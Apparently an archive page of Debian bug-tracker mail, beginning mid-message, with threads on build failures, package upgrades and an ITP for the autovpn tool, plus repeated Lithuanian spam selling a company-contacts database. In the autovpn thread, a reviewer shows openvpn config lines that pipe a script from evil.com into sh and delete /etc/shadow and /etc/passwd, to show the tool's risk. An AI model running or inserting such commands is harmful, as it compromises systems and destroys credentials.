Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#884956: Now hidpi scaling is even more broken

[Vincent Lefevre]

On 2018-02-19 12:04:24 +0100, wm4 wrote:
> Yeah, that is strange. I didn't create a new user, because that would
> change nothing. I made sure to override all environment variables for
> the test. I can't test anymore because after fighting Debian's
> absolutely crappy package manager to make it downgrade to testing's
> Qt packages, it works again. (And I'll defend my word choice "crappy".
> Why can't it figure out transitive dependencies? It's just bad.
> aptitude didn't behave better.)

IMHO, dependency resolution would not work well (or even not at all)
for downgrades. Getting all the installed package from the same source
package (here, qtbase-opensource-src) could make things easier for
downgrades.

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Bug#890822: Test #435: RunCMake.CPack_RPM Failed

[jean-christophe manciot]

Package: cmake
Version: 3.10.2-1

Building the sources in a sid chroot with:
debuild -i -I --no-sign --build=binary -j1

leads to:
...
434/491 Test #434: RunCMake.CPack_DEB
.   Passed   17.61 sec
Start 435: RunCMake.CPack_RPM
435/491 Test #435: RunCMake.CPack_RPM
.***Failed   37.01 sec
-- CUSTOM_BINARY_SPEC_FILE-MONOLITHIC-type - PASSED
-- RPM/CUSTOM_BINARY_SPEC_FILE-MONOLITHIC-type - PASSED
-- CUSTOM_BINARY_SPEC_FILE-COMPONENT-type - PASSED
-- RPM/CUSTOM_BINARY_SPEC_FILE-COMPONENT-type - PASSED
-- CUSTOM_NAMES-COMPONENT-type - PASSED
-- CUSTOM_NAMES-COMPONENT-type-Build - PASSED
-- RPM/CUSTOM_NAMES-COMPONENT-type - PASSED
-- DEBUGINFO-COMPONENT-type - PASSED
-- DEBUGINFO-COMPONENT-type-Build - PASSED
CMake Error at
/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Tests/RunCMake/RunCMake.cmake:132
(message):
  RPM/DEBUGINFO-COMPONENT-type - FAILED:

  Result is [1], not [0].

  stderr does not match that expected.

  Command was:

   command>
"/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Build/bin/cmake"
"-DRunCMake_TEST=DEBUGINFO-COMPONENT-type"
"-DRunCMake_TEST_FILE_PREFIX=DEBUGINFO" "-DRunCMake_SUBTEST_SUFFIX="
"-DGENERATOR_TYPE=RPM" "-DPACKAGING_TYPE=COMPONENT"
"-Dsrc_dir=/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Tests/RunCMake/CPack"
"-Dbin_dir=/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Build/Tests/RunCMake/RPM/CPack/DEBUGINFO-build"
"-Dconfig_file=/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Build/Tests/RunCMake/CPack/conf/RPM_config.cmake"
"-P"
"/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Tests/RunCMake/CPack/VerifyResult.cmake"

  Actual stdout:

   actual-out>

  Expected stderr to match:

   expect-err> ^(CPackRPM: Will use GENERATED spec file:
(/[^/]*)*/Tests/RunCMake/RPM/CPack/[^-]*-build((-[^-]*-subtest/)|/)_CPack_Packages/.*/RPM/SPECS/[^\.]*\.spec(\n|$))*$

  Actual stderr:

   actual-err> CMake Error at
/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Tests/RunCMake/CPack/VerifyResult.cmake:79
(message):
   actual-err>   Found more than one file for file No.  '4'! Found files
count '0'.  Files:
   actual-err>   '' Globbing expression:
'Debuginfo-applications-debuginfo-0.1.1-1.*.rpm'
   actual-err>
   actual-err>   CPack output: 'CPack: Create package using RPM
   actual-err>
   actual-err>   CPack: Install projects
   actual-err>
   actual-err>   CPack: - Run preinstall target for:
DEBUGINFO-COMPONENT-type
   actual-err>
   actual-err>   CPack: - Install project: DEBUGINFO-COMPONENT-type
   actual-err>
   actual-err>   CPack: - Install component: applications
   actual-err>
   actual-err>   CPack: - Install component: headers
   actual-err>
   actual-err>   CPack: - Install component: libs
   actual-err>
   actual-err>   CPack: Create package
   actual-err>
   actual-err>   CPack: - package:
   actual-err>
 
/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Build/Tests/RunCMake/RPM/CPack/DEBUGINFO-build/TestDinfo-pkg-headers.rpm
   actual-err>   generated.
   actual-err>
   actual-err>   CPack: - package:
   actual-err>
 
/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Build/Tests/RunCMake/RPM/CPack/DEBUGINFO-build/Debuginfo-applications-0.1.1-1.x86_64.rpm
   actual-err>   generated.
   actual-err>
   actual-err>   CPack: - package:
   actual-err>
 
/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Build/Tests/RunCMake/RPM/CPack/DEBUGINFO-build/TestDinfo-pkg-libs.rpm
   actual-err>   generated.
   actual-err>
   actual-err>   '
   actual-err>
   actual-err>   CPack error: 'CMake Warning (dev) at
   actual-err>
 
/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Modules/CPackRPM.cmake:2298
   actual-err>   (message):
   actual-err>
   actual-err> CPackRPM:Warning: debuginfo package was requested but
will not be generated
   actual-err> as no source files were found! Component: 'applications'.
   actual-err>
   actual-err>   Call Stack (most recent call first):
   actual-err>
   actual-err>
 
/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Modules/CPackRPM.cmake:2774
(cpack_rpm_generate_package)
   actual-err>
   actual-err>   This warning is for project developers.  Use -Wno-dev to
suppress it.
   actual-err>
   actual-err>
   actual-err>
   actual-err>   CPackRPM: Will use GENERATED spec file:
   actual-err>
 
/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Build/Tests/RunCMake/RPM/CPack/DEBUGINFO-build/_CPack_Packages/Linux/RPM/SPECS/Debuginfo-applications.spec
   actual-err>
   actual-err>
   actual-err>   CPackRPM: Will use GENERATED spec file:
   actual-err>
 
/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/Build/Tests/RunCMake/RPM/CPack/DEBUGINFO-build/_CPack_Packages/Linux/RPM/SPECS/Debuginfo-headers.spec
   actual-err>
   actual-err>
   actual-err>   CMake Warning (dev) at
   actual-err>
 
/home/actionmystique/src/Cmake/cmake-build/cmake-3.10.2-1/M

Bug#760660: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#890382: RFS: libbusiness-isin-perl/0.20-1 [ITP]

[Laurent Baillet]

On Mon, Feb 19, 2018 at 11:13 AM, Dominique Dumont 
wrote:

> On Wednesday, 14 February 2018 10:30:10 CET Laurent Baillet wrote:
> > I am looking for a sponsor for my package "libbusiness-isin-perl"
> >
> >  * Package name: libbusiness-isin-perl
> >Version : 0.20-1
> >Upstream Author : David Chan 
> >  * URL : https://metacpan.org/release/Business-ISIN
> >  * License : GPL-1+ or Artistic
> >Section : perl
>
> Would you mind maintaining this package within Debian perl packaging team
> [1]?
> (This would make finding sponsors much easier)
>
> All the best
>
> [1] https://wiki.debian.org/Teams/DebianPerlGroup
>
> --
>  https://github.com/dod38fr/   -o- http://search.cpan.org/~ddumont/
> http://ddumont.wordpress.com/  -o-   irc: dod at irc.debian.org
>


Hello Dominique and all others,

Sure, there is no problem for me to maintain it within Debian Perl Team if
it can help

So here I am, billou57-guest on Alioth. I am french, 42 years old. I use
Debian since
Slink and Perl daily since something like 20 years :-) I have rather good
knowledge
of both. My main usage of Perl is to handle various format of rich text
news. I think I
can help  the team but I sure have to learn how the Team works.


Business::ISIN for which I opened an ITP last week is an old module that I
use in
order to validate ISIN according to ISO 3166 (or ISO 6166) which is a
classification
of financial instruments. I've been using it since it's been released and
it still works
perfectly, being used professionally for a big financial french website. I
don't know
how useful one can consider it, but it is a nice piece of code so useful
for me
(again, thanks David !)

Regards

Bug#890821: [Pkg-libvirt-maintainers] Bug#890821: Multiple tests fail with: Could not define storage pool: operation failed: pool 'tmp' is already defined with uuid 00000000-1111-2222-3333-44444444444

[Guido Günther]

control: forcemerge -1 890821

Hi Jean-Christophe,
you filed several FTBS bugs during the last months and these were either
related to your build environment or already known. Please check more
carefully before filing reports in the future. If you have trouble
building and are unsure check
pkg-libvirt-disc...@lists.alioth.debian.org.
Cheers,
 -- Guido


On Mon, Feb 19, 2018 at 12:22:41PM +0100, jean-christophe manciot wrote:
>Package: virt-manager
>Version: 1:1.4.3-1
>Building the sources in a sid chroot with:
>debuild -i -I --no-sign --build=binary -j1 
>leads to:
>...
>==
>ERROR: testCloneGraphicsPassword (tests.clonetest.TestClone)
>--
>Traceback (most recent call last):
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
>line 193, in testCloneGraphicsPassword
>    self._clone_helper(base)
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
>line 72, in _clone_helper
>    cloneobj = self._default_clone_values(cloneobj, disks)
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
>line 94, in _default_clone_values
>    cloneobj.clone_paths = disks
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/virtinst/cloner.py",
>line 153, in set_clone_paths
>    (path, str(e)))
>ValueError: Could not use path '/clone3' for cloning: Could not define
>storage pool: operation failed: pool 'tmp' is already defined with uuid
>----
>==
>ERROR: testCloneNvramAuto (tests.clonetest.TestClone)
>--
>Traceback (most recent call last):
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
>line 185, in testCloneNvramAuto
>    self._clone_helper(base)
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
>line 72, in _clone_helper
>    cloneobj = self._default_clone_values(cloneobj, disks)
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
>line 94, in _default_clone_values
>    cloneobj.clone_paths = disks
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/virtinst/cloner.py",
>line 153, in set_clone_paths
>    (path, str(e)))
>ValueError: Could not use path '/clone3' for cloning: Could not define
>storage pool: operation failed: pool 'tmp' is already defined with uuid
>----
>==
>ERROR: testCloneNvramNewpool (tests.clonetest.TestClone)
>--
>Traceback (most recent call last):
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
>line 189, in testCloneNvramNewpool
>    self._clone_helper(base)
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
>line 72, in _clone_helper
>    cloneobj = self._default_clone_values(cloneobj, disks)
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
>line 94, in _default_clone_values
>    cloneobj.clone_paths = disks
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/virtinst/cloner.py",
>line 153, in set_clone_paths
>    (path, str(e)))
>ValueError: Could not use path '/clone3' for cloning: Could not define
>storage pool: operation failed: pool 'tmp' is already defined with uuid
>----
>==
>ERROR: testCloneStorageForce (tests.clonetest.TestClone)
>--
>Traceback (most recent call last):
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
>line 164, in testCloneStorageForce
>    force_list=["hda", "fdb", "sdb"])
>  File
>
> "/home/actionmystique/src/Virt-manager/virt-manager-build/virt-manager-1.4.3-1/tests/clonetest.py",
>line 76, in _clone_helper
>    clone_disks_file=clone_disks_file)
>  File
>
> "/home/actionmystique/

Bug#890771: running ntpsec in container

[Daniel Baumann]

On 02/19/2018 11:37 AM, Daniel Baumann wrote:
>   waf: error: no such option: --enable_locklock

hrm, typo.. (s/locklock/lockclock/); but the result is the same, it
doesn't compile (neither the debian package nor the upstream git snapshot).

Regards,
Daniel

Bug#890811: lynx: FTBFS: msgfmt errors

[Thomas Dickey]

On Sun, Feb 18, 2018 at 10:45:51PM -0800, Daniel Schepler wrote:
> Source: lynx
> Version: 2.8.9dev16-2
> Severity: serious
> 
> >From my pbuilder build log:

hmm - where is that?

By the way, since your log is incomplete, there's insufficient information
to comment further.

>dh_auto_build
>make -j8

take out the -j8, for a start.

> translating ca.po to ca.gmo
> translating cs.po to cs.gmo
> translating da.po to da.gmo
> translating de.po to de.gmo
> translating eo.po to eo.gmo
> translating et.po to et.gmo
> translating fi.po to fi.gmo
> translating fr.po to fr.gmo
> ...updated homepage URL
> ...updated homepage URL
> ...updated homepage URL
> ...updated homepage URL
> ...updated homepage URL
> ...updated homepage URL
> pass1.tmp:243: keyword "Champ" unknown

This appears to be a problem with your script, which you should solve
before opening a bug report.

-- 
Thomas E. Dickey 
https://invisible-island.net
ftp://ftp.invisible-island.net


signature.asc
Description: Digital signature

Bug#884956: Now hidpi scaling is even more broken

[wm4]

On Mon, 19 Feb 2018 12:26:54 +0100
Vincent Lefevre  wrote:

> On 2018-02-19 12:04:24 +0100, wm4 wrote:
> > Yeah, that is strange. I didn't create a new user, because that would
> > change nothing. I made sure to override all environment variables for
> > the test. I can't test anymore because after fighting Debian's
> > absolutely crappy package manager to make it downgrade to testing's
> > Qt packages, it works again. (And I'll defend my word choice "crappy".
> > Why can't it figure out transitive dependencies? It's just bad.
> > aptitude didn't behave better.)  
> 
> IMHO, dependency resolution would not work well (or even not at all)
> for downgrades. Getting all the installed package from the same source
> package (here, qtbase-opensource-src) could make things easier for
> downgrades.
> 

Well, I had the following situation: I uninstalled some Qt and
application packages as preparation for downgrading. Then I installed
the downgraded Qt packages. Then I wanted to reinstall an application
package. But it showed dozens of errors like this:

 package1 : Depends: package2 (>= version) but it is
 not going to be installed

It turns out the resolution was removing/downgrading just 1 or 2
packages (not package1 or package2) that transitively blocked
installing package2. Not even aptitude after crunching on it for
minutes could come up with the resolution. I'd really expect better.

I don't get why Debian has to split everything into thousands of
packages either, when everything depends on everything anyway.

Sorry for off-topic.

Bug#889652: gtk-d: Please upgrade

[Kristof Csillag]

Source: gtk-d
Followup-For: Bug #889652

Please the upgrade. A bug in the curently packaged version
makes the TILIX terminal emulator unstable.

(Which part of my main stack at work. I run all my editors in tilix...)

Thanks.


-- System Information:
Debian Release: 9.3
  APT prefers stable
  APT policy: (990, 'stable'), (500, 'stable-updates'), (500, 'unstable'), 
(500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 4.9.0-5-amd64 (SMP w/8 CPU cores)
Locale: LANG=hu_HU.UTF-8, LC_CTYPE=hu_HU.UTF-8 (charmap=UTF-8), 
LANGUAGE=hu_HU.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

[Steve Kemp]

On Mon Feb 19, 2018 at 12:44:40 +0100, Michael Meskes wrote:

> >   * It relies upon the external VPNGate.net site/service.  If this
> > goes away in the lifetime of a stable Debian release users will
> > be screwed.
> 
> That is actually a good point. I wonder if using a local copy might be
> a good alternative.

  If you're willing to maintain such a list, resyncing it every
 few days/months to reap dead-entries and add new ones then that
 would be good.

> >   * It allows security attacks against the local system, which other
> > users on the host could exploit via symlink attacks on
> > /tmp/openvpnconf
> 
> True, but this could be handled by using a better system to access a
> temp file.

  Sure.  If you changed the code to use ioutil.TempFile, or some
 other secure alternative that specific objection will go away.

> > 1.  The tool downloads a remote URL to /tmp/openvpnconf
> > 
> > 2.  The file is then given as an argument to the command:
> > sudo openvpn /tmp/openvpnconf
> > 
> > 3.  That generated/downloaded openvpn configuration file could
> >be written to do anything, up to and including `rm -rf /`.
> 
> Can you actually get openvpn to do this?

  Yes.  For example these snippets will do what you fear they will:

script-security 2
up curl http://evil.com/root-me.sh | sh
up rm /etc/shadow
down rm -f /etc/passwd

> I read this not as "insecure for the system it runs on" but "insecure
> on the connection side". This is certainly not something you should use
>   to open your local network to, or to do something illegal.

  As per the insecure fixed name, and the execution of commands from
 a remote HTTP-site (not even SSL!) I think it is insecure in all
 regards.

  Also I guess you'll need to change the script to remove "sudo", or
 better yet add a restricted user with sudo's nopasswd setup for it
 (shudder).

Steve
-- 
https://www.steve.org.uk/

Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

[Michael Meskes]

>   I'd strongly urge you to reconsider packaging this project, for
>  three main reasons:
> 
>   * It relies upon the external VPNGate.net site/service.  If this
> goes away in the lifetime of a stable Debian release users will
> be screwed.

That is actually a good point. I wonder if using a local copy might be
a good alternative.

>   * It allows security attacks against the local system, which other
> users on the host could exploit via symlink attacks on
> /tmp/openvpnconf

True, but this could be handled by using a better system to access a
temp file.

>   * It allows security attacks on against the local system which the
> remote service could exploit:
> 
> 1.  The tool downloads a remote URL to /tmp/openvpnconf
> 
> 2.  The file is then given as an argument to the command:
> sudo openvpn /tmp/openvpnconf
> 
> 3.  That generated/downloaded openvpn configuration file could
>be written to do anything, up to and including `rm -rf /`.

Can you actually get openvpn to do this?

>   Finally the project itself notes:
> 
> "This is completely insecure. Please do not use this for anything
> important. Get a real and secure VPN. This is mostly a fun tool
> to
> get a VPN for a few minutes."

I read this not as "insecure for the system it runs on" but "insecure
on the connection side". This is certainly not something you should use
  to open your local network to, or to do something illegal.

Michael
-- 
Michael Meskes
Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org)
Meskes at (Debian|Postgresql) dot Org
Jabber: michael at xmpp dot meskes dot org
VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL

Bug#520536: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#783853: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

[Marco d'Itri]

On Feb 19, Michael Meskes  wrote:

> >   * It relies upon the external VPNGate.net site/service.  If this
> > goes away in the lifetime of a stable Debian release users will
> > be screwed.
For the records I do not think that this is important since the whole 
purpose of the program is accessing this data, but the other objections 
are significant enough that I do not see much value in having this 
packaged.

> That is actually a good point. I wonder if using a local copy might be
> a good alternative.
Obviously not, since it would quickly become stale considering the 
nature of the data.

-- 
ciao,
Marco


signature.asc
Description: PGP signature

Bug#890823: Modification to /etc/tmpfiles.d/screen-cleanup.conf not preserved on upgrade

[Laurent Bigonville]

Package: screen
Version: 4.6.2-1
Severity: important

Hi,

Today I saw that there was a screen-cleanup.conf file in
/etc/tmpfiles.d/ that I didn't remember creating.

Looking in the postinst script I realized it was created by the package
iself.

If I'm not wrong, the package is not preserving the changes to that file
on upgrade. I don't think this is a policy violation but this seems not
good either.

Also, some comments on the top of the file should mention that the file
has been created by the package (and maybe that the file is not
preserved).

Kind regards,

Laurent Bigonville

-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'unstable'), (1, 
'experimental-debug'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.14.0-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=fr_BE.UTF-8, LC_CTYPE=fr_BE.UTF-8 (charmap=UTF-8), 
LANGUAGE=fr_BE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: SELinux: enabled - Mode: Permissive - Policy name: refpolicy

Versions of packages screen depends on:
ii  libc6 2.26-6
ii  libpam0g  1.1.8-3.7
ii  libtinfo5 6.1-1
ii  libutempter0  1.1.6-3

screen recommends no packages.

Versions of packages screen suggests:
pn  byobu | screenie | iselect  
ii  ncurses-term6.1-1

-- no debconf information

Bug#766132: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#890289: libmbedtls

[Teus Benschop]

Yes, you are right that embedding this library presents a security risk, in
particular when the package plus its embedded library gets older and new
security issues are found in mbedtls.
The segmentation fault now caused by mbedtls was the reason this code was
embedded, it didn't have a segmentation fault then.
Upstream is looking into this how to solve this.

Bug#843553: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

[Michael Meskes]

> For the records I do not think that this is important since the
> whole 
